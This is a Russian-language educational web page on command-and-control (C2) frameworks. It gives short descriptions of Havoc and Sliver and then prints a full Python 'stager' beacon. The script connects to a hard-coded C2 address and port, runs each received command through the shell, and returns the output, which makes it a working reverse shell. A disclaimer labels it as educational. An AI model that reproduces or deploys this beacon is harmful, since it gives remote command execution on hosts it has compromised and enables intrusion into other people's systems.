> C2_FRAMEWORK.INIT("BEACONING_MODE");

Command & Control (C2)

C2 Frameworks — это инфраструктура для централизованного управления взломанными хостами. Они позволяют исполнять команды, загружать файлы и выполнять пост-эксплуатацию скрытно для систем защиты.

Havoc C2

Современный фреймворк с упором на обход EDR. Использует кастомные нагрузки (Demon) и имеет мощный графический интерфейс.

> listener: HTTPS://443

Sliver C2

Кроссплатформенный фреймворк на Go. Умеет генерировать импланты под Windows, Linux и MacOS.

> implants: generated(3)

Python C2 Stager (Образец):

stager_beacon.py
import socket
import subprocess
import os

# Простой пример бейкона (stager) для демонстрации связи с C2 сервером
def stager():
    C2_SERVER = "192.168.1.100"  # IP адрес сервера управления
    C2_PORT = 4444               # Порт слушателя
    
    try:
        # Установка соединения с C2 сервером
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.connect((C2_SERVER, C2_PORT))
        
        while True:
            # Получение команды от сервера
            s.send(b"[BEACON] Waiting for instruction... ")
            command = s.recv(1024).decode("utf-8")
            
            if command.lower() == "exit":
                break
            
            # Выполнение команды локально
            output = subprocess.run(command, shell=True, capture_output=True, text=True)
            
            # Отправка результата обратно на C2
            s.send(output.stdout.encode("utf-8") + output.stderr.encode("utf-8"))
            
        s.close()
    except Exception as e:
        print(f"Error connecting to C2: {e}")

if __name__ == "__main__":
    stager()

Внимание: Данный код предоставлен исключительно в образовательных целях. На практике современные агенты используют шифрование (AES/RSA) и обфускацию для скрытия трафика.